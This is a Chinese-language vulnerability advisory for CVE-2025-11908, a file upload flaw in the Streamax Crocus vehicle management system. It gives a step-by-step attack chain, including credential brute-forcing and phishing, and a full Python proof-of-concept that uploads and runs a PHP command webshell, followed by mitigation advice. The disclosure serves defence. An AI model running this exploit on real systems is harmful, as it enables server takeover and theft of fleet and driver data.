IPBUF安全漏洞报告
English
CVE-2025-11908 CVSS 6.3 中危

CVE-2025-11908:Streamax Crocus文件上传漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11908
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Shenzhen Ruiming Technology Streamax Crocus

相关标签

文件上传任意文件上传Unrestricted UploadStreamax Crocus锐明技术车辆管理系统WebShell远程代码执行CVE-2025-11908中危漏洞

漏洞概述

CVE-2025-11908是深圳市锐明技术股份有限公司(Shenzhen Ruiming Technology)旗下Streamax Crocus车辆管理系统1.3.40版本中存在的一个安全漏洞。该漏洞位于系统的文件上传功能模块,具体涉及/FileDir.do?Action=Upload接口中的uploadFile函数。攻击者可以通过操控HTTP请求中的File参数,实现无限制的文件上传操作。由于该漏洞可通过网络远程利用,且攻击复杂度较低,仅需要低权限认证即可发起攻击,因此对部署该系统的车辆监控和管理平台构成了严重的安全威胁。

该漏洞的CVSS 3.1评分为6.3分,属于中危级别。攻击者可利用此漏洞上传任意类型的文件,包括但不限于WebShell恶意脚本、可执行文件等,从而获取服务器控制权限。由于Streamax Crocus系统广泛应用于车载视频监控、车辆调度管理等场景,攻击者一旦成功利用该漏洞,可能导致车队监控数据泄露、车辆行踪信息被窃取,甚至可能影响整个车联网平台的安全性。

值得注意的是,该漏洞的PoC(概念验证代码)已经被公开披露,攻击者可以轻易获取利用工具。此外,漏洞发现者曾尝试联系厂商进行修复,但深圳市锐明技术股份有限公司未对此做出任何回应,这进一步增加了该漏洞被恶意利用的风险。鉴于该系统在商用车队管理领域的重要地位,建议相关用户尽快采取防护措施。

技术细节

该漏洞的核心问题在于Streamax Crocus 1.3.40版本的文件上传接口/FileDir.do?Action=Upload缺乏对上传文件的充分验证和过滤机制。具体而言,uploadFile函数在处理客户端上传的File参数时,没有执行以下关键安全检查:

1. **文件类型校验缺失**:系统未对上传文件的扩展名进行白名单校验,允许上传.php、.jsp、.asp等可执行脚本文件。
2. **MIME类型验证不足**:未严格验证HTTP请求中Content-Type字段的合法性。
3. **文件内容检测缺失**:未对上传文件的内容进行恶意代码检测或魔术字节(Magic Bytes)验证。
4. **存储路径可控**:上传文件的存储路径可能受用户输入影响,增加了目录遍历攻击的风险。

**利用方式**:
攻击者首先需要获取目标系统的低权限认证凭据(PR:L),然后构造包含恶意文件的multipart/form-data格式HTTP POST请求,发送至/FileDir.do?Action=Upload端点。请求中的File参数携带恶意WebShell文件(如包含PHP代码的.jpg文件或直接上传.php文件)。由于缺乏文件类型限制,恶意文件将被成功上传至服务器可访问目录。随后,攻击者通过浏览器访问上传文件的URL,即可执行服务器端恶意代码,实现远程命令执行。

整个攻击过程无需用户交互(UI:N),攻击复杂度低(AC:L),可通过网络远程发起(AV:N),对系统的机密性、完整性和可用性均造成低级别影响(C:L/I:L/A:L)。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、ZoomEye等网络空间搜索引擎,或通过社会工程学手段,识别目标网络中部署的Streamax Crocus 1.3.40车辆管理系统,并获取其网络地址。
STEP 2
步骤2:获取认证凭据
攻击者通过弱口令爆破、默认凭据尝试、钓鱼攻击或从其他渠道获取的低权限用户账号,获取系统的合法登录凭据。由于系统涉及车辆管理,账号可能因管理疏忽而使用弱密码。
STEP 3
步骤3:登录系统
使用获取的凭据登录Streamax Crocus系统,建立有效的会话(Session),获取JSESSIONID等认证Cookie。
STEP 4
步骤4:构造恶意上传请求
构造multipart/form-data格式的HTTP POST请求,向/FileDir.do?Action=Upload端点上传包含恶意代码的文件(如PHP WebShell),通过操控File参数绕过文件类型限制。
STEP 5
步骤5:执行恶意代码
成功上传WebShell后,攻击者通过浏览器访问上传文件的URL路径,执行系统命令,获取服务器控制权限,进而渗透整个内网。
STEP 6
步骤6:横向移动与数据窃取
获得服务器权限后,攻击者可访问车辆监控视频、GPS轨迹数据、驾驶员信息等敏感数据,并可能进行横向移动攻击其他关联系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11908 - Streamax Crocus 1.3.40 Unrestricted File Upload PoC Vulnerability: Unrestricted file upload in /FileDir.do?Action=Upload Author: Security Researcher """ import requests import sys from requests_toolbelt.multipart.encoder import MultipartEncoder TARGET_URL = "http://target-host" UPLOAD_ENDPOINT = "/FileDir.do?Action=Upload" USERNAME = "test" PASSWORD = "test123" # Malicious PHP webshell content disguised as image file WEBSHELL_CONTENT = b"""<?php // Simple PHP webshell for testing purposes echo "Vulnerable: CVE-2025-11908"; if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>""" def login(session, base_url): """Perform login to obtain session cookie""" login_url = f"{base_url}/Login.do" data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=data, timeout=10) if resp.status_code == 200 and "JSESSIONID" in session.cookies.get_dict(): print("[+] Login successful") return True except Exception as e: print(f"[-] Login failed: {e}") return False def upload_malicious_file(session, base_url, filename="test.php"): """Upload malicious file to vulnerable endpoint""" upload_url = f"{base_url}{UPLOAD_ENDPOINT}" # Construct multipart form data with malicious file multipart_data = MultipartEncoder( fields={ "File": (filename, WEBSHELL_CONTENT, "application/octet-stream"), "Action": "Upload" } ) headers = { "Content-Type": multipart_data.content_type, "User-Agent": "Mozilla/5.0 (compatible; PoC)" } try: resp = session.post(upload_url, data=multipart_data, headers=headers, timeout=10) print(f"[+] Upload response status: {resp.status_code}") print(f"[+] Response body: {resp.text[:500]}") # Check if upload was successful if resp.status_code == 200 and ("success" in resp.text.lower() or "upload" in resp.text.lower()): print(f"[+] File uploaded successfully: {filename}") return True except Exception as e: print(f"[-] Upload failed: {e}") return False def verify_shell(session, base_url, filename="test.php"): """Verify if uploaded webshell is accessible""" shell_url = f"{base_url}/upload/{filename}" try: resp = session.get(shell_url, timeout=10) if resp.status_code == 200: print(f"[+] Webshell accessible at: {shell_url}") # Test command execution cmd_resp = session.get(f"{shell_url}?cmd=id", timeout=10) print(f"[+] Command execution result: {cmd_resp.text}") return True except Exception as e: print(f"[-] Shell verification failed: {e}") return False def main(): if len(sys.argv) > 1: global TARGET_URL TARGET_URL = sys.argv[1] session = requests.Session() print(f"[*] Target: {TARGET_URL}") print(f"[*] Testing CVE-2025-11908 - Unrestricted File Upload") # Step 1: Login if not login(session, TARGET_URL): print("[-] Cannot proceed without valid credentials") sys.exit(1) # Step 2: Upload malicious file if upload_malicious_file(session, TARGET_URL): # Step 3: Verify shell access verify_shell(session, TARGET_URL) else: print("[-] Exploit failed") if __name__ == "__main__": main()

影响范围

Shenzhen Ruiming Technology Streamax Crocus 1.3.40

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过网络访问控制列表(ACL)限制/FileDir.do?Action=Upload接口的访问,仅允许可信IP地址访问;2)在Web服务器层面配置上传目录,禁止PHP、JSP、ASP等脚本文件的执行权限;3)部署Web应用防火墙(WAF),添加针对文件上传漏洞的防护规则,拦截包含恶意文件特征的请求;4)对所有上传文件进行事后扫描,使用杀毒引擎检测WebShell等恶意代码;5)加强账号管理,强制使用强密码策略,启用多因素认证;6)监控系统日志,对异常的文件上传行为及时告警和阻断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表